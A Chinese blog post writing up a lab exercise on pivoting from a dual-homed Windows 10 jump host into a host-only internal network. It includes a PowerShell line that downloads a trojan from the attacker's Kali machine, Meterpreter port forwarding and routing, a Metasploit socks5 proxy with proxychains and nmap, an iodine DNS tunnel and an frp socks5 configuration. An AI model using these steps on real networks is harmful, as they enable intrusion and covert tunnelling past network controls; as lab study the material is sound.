首页 > 其他分享 >借跳板通信内网实验

借跳板通信内网实验

时间:2024-03-24 22:34:25浏览次数:28  
标签:跳板 ip 端口 通信 192.168 代理 socks5 实验 公网

借跳板通信内网实验

win-server-2016:host-only:192.168.136.135

ubuntu:host-only:192.168.136.136(开了web80端口)

win-10:host-only+桥接:192.168.136.129、192.168.43.173

kali:桥接:192.168.57.43.215

注意win-server-2016是命令行版本的,没有桌面需要更改防火墙入站规则,允许icmp请求回显

New-NetFirewallRule -DisplayName "Allow ICMPv4-In" -Protocol ICMPv4 -IcmpType 8 -Action Allow -Profile Domain/Public


New-NetFirewallRule -DisplayName "Allow ICMPv4-Out" -Protocol ICMPv4 -IcmpType 0 -Enabled True -Action Allow -Profile Domain/Public

kali和win-10可以互相ping通、win-server-2016和win-10可以互相ping通

kali和win-server-2016不能互相ping通

powershell下载木马

 Invoke-WebRequest -Uri "http://192.168.43.215:8888/shellwin10.exe" -OutFile "shell-win10.exe"

meterpreter端口转发

msf上线,meterpreter直接端口转发,本地9999端口转发到Ubuntu的80端口

image-20240309192556080

浏览器访问127.0.0.1:9999

image-20240309192633929

meterpreter>portfwd flush:清除所有端口转发

meterpreter做路由

做路由方便msf进行内网渗透(这里路由只能使用msf访问内网,要想使用其他工具需要做代理)

run autoroute -s 192.168.136.0/24

use auxiliary/scanner/portscan/syn:扫描端口(需要root权限启动msf)
或者use auxiliary/scanner/portscan/tcp:扫得更快
set rhosts 192.168.136.136
set threads 10
run

image-20240309200159318

msf socks5代理

做socks5代理需要先建立对应网段路由

use auxiliary/server/socks_proxy(默认是0.0.0.0:1080)
run

命令行查看1080端口是否开放:netstat -antp
vim /etc/proxychains4.conf:添加-- socks5 0.0.0.0 1080
proxychains4 curl http://192.168.136.136:80

浏览器设置代理访问不了,配置proxychains4全局代理,curl成功访问

image-20240309201306144

配置全局代理后,设置浏览器的代理就可以访问80端口成功

用socks5代理来用nmap扫描,发现不能扫内网ip(因为socks5只支持TCP/UDP流量,而proxychains4只支持TCP,所有icmp不能用),所以在msf进行主机发现

nmap可以端口扫描:

image-20240311211210702

利用木马建socks5代理,访问内网80端口以及对内网机器进行端口扫描整个过程wireshark抓包查看流量

注意:跳板机可以出网可以反弹shell,内网机器出不了网,在通过跳板机攻击内网机器时用正向连接

DNS隧道搭建

(1)公网配置NS记录,方便把dns解析时的数据给到自己的公网机器

有个NS记录叫ns指向www.域名

而有个A记录www指向公网ip

vps记得开放53端口

(2)公网服务器安装iodine运行

iodined -f -c -P xxx 192.168.200.1 ns.域名 -DD
-f:前台运行
-c:禁止检查传入请求客户端ip地址
-P:指定客户端、服务端之间用于身份验证的密码(xxx)
-DD:调试级别为二级,D的数量表示几级

192.168.200.1是虚拟局域网的ip地址

image-20240312221050199

(3)内网服务器安装iodine,执行

linux执行:iodine -f -P xxx 公网ip ns.域名
windows执行:iodine.exe -f -P xxx 公网ip ns.域名  windows需要安装tap驱动程序

image-20240312221127936

公网机器:ping 192.168.200.2可以ping通,DNS隧道搭建成功

DNS隧道+socks5代理

利用公网与跳板机之间的DNS隧道访问内网机器

(1)公网机器配置frps

[common]
bind_addr = 0.0.0.0
bind_port = 7000
token = 12345678

执行:./frps -c frps.ini

image-20240312235119188

一旦跳板机frpc执行,可以看到显示虚拟网卡192.168.200.2连接过来了

(2)内网机器配置frpc

[common]
server_addr = 192.168.200.1 iodine建立的公网机器的虚拟ip(iodine服务端)
server_port = 7000
token = 12345678

[socks5_xm]
type = tcp
remote_port = 8089
plugin = socks5

use_encryption = true
use_compression = true

linux执行:./frpc -c frpc.ini
windows执行:frpc.exe -c frpc.ini

image-20240312235013869

kali配置代理:socks5 公网ip 8089,访问内网ip:192.168.136.136

DNS隧道包裹socks5代理流量

image-20240312235243044

注意:记得开放公网机器的8089端口

标签:跳板,ip,端口,通信,192.168,代理,socks5,实验,公网
From: https://www.cnblogs.com/q1stop/p/18093234

相关文章

  • python数据挖掘实验一:数据分析及可视化应用
    1.导入pandas包importpandasaspd2.根据给定的原始数据集创建一个DataFrame类型对象dfdata={'id':[10001,10002,10003,10004,10005,10006,10007,10008,10009,10010],'name':['LY','CE','ZS','LS','WU','......
  • c语言程序设计--实验报告二
    实验项目名称:实验报告2数据描述实验项目类型:验证性实验日期:2024年3月21日一、实验目的1、掌握C语言数据类型,熟悉如何定义一个整型、字符型和实型的变量,以及对它们赋值的方法。2、掌握不同数据类型之间赋值的规律。3、学会使用C的有关算术运算符,以及包含这些运算符的表......
  • c语言程序设计——实验报告一
    实验项目名称:实验一熟悉C语言运行环境实验项目类型:验证性实验日期:2023年3月14日一、实验目的下载安装Devc6.0程序。了解在该系统上如何进行编辑、编译、连接和运行一个C程序。通过运行简单的C程序了解C程序的特点。二、实验硬、软件环境Windows计算机、Devc6.0三、......
  • 实验报告2 数据描述
    c语言程序设计——实验报告二实验项目名称:实验报告2数据描述实验项目类型:验证性实验日期:2024年3月21日一、实验目的1、掌握C语言数据类型,熟悉如何定义一个整型、字符型和实型的变量,以及对它们赋值的方法。2、掌握不同数据类型之间赋值的规律。3、学会使用C的有关算......
  • Java语言程序设计实验题目:编写Java程序统计一篇英文文档中各单词出现的次数,并按单词出
    题目描述编写Java程序统计一篇英文文档中各单词出现的次数,并按单词出现的频率由高到低进行输出。例如:文档“HellowordHello”的统计结果为: Hello:2次 word:1次思路分析1.处理文档:先用nextLine()将文段输入,存储在字符串file,再调用split()方法将字符串分割成一个......
  • 同步通信 and 异步通讯
    同步调用存在的问题 异步调用方案:时间驱动模式 优势:1、服务解耦(添加服务不用修改支付服务的代码)2、性能提升、吞吐量的提高(支付成功之后,后续的服务和支付服务没有关系,由Broker事件通知完成)3、服务没有强依赖,不担心级联失败问题4、流浪削峰 总结:......
  • 实验一 熟悉C语言运行环境
    c语言程序设计——实验报告一实验项目名称:实验一熟悉C语言运行环境实验项目类型:验证性实验日期:2023年3月14日一、实验目的下载安装Devc6.0程序。了解在该系统上如何进行编辑、编译、连接和运行一个C程序。|通过运行简单的C程序了解C程序的特点。二、实验硬、软件环境......
  • c语言程序设计-实验报告2
    实验项目名称:实验报告2-数据描述实验项目类型:验证性实验日期:2024年3月21日一、实验目的1、掌握C语言数据类型,熟悉如何定义一个整型、字符型和实型的变量,以及对它们赋值的方法。2、掌握不同数据类型之间赋值的规律。3、学会使用C的有关算术运算符,以及包含这些运算符的表......
  • c语言程序设计——实验报告二
    实验项目名称:实验报告2数据描述实验项目类型:验证性实验日期:2024年3月21日一、实验目的1、掌握C语言数据类型,熟悉如何定义一个整型、字符型和实型的变量,以及对它们赋值的方法。2、掌握不同数据类型之间赋值的规律。3、学会使用C的有关算术运算符,以及包含这些运算符的......
  • c语言程序设计——实验报告二
    实验项目名称:实验报告2数据描述实验项目类型:验证性实验日期:2024年3月21日一、实验目的1、掌握C语言数据类型,熟悉如何定义一个整型、字符型和实型的变量,以及对它们赋值的方法。2、掌握不同数据类型之间赋值的规律。3、学会使用C的有关算术运算符,以及包含这些运算符的......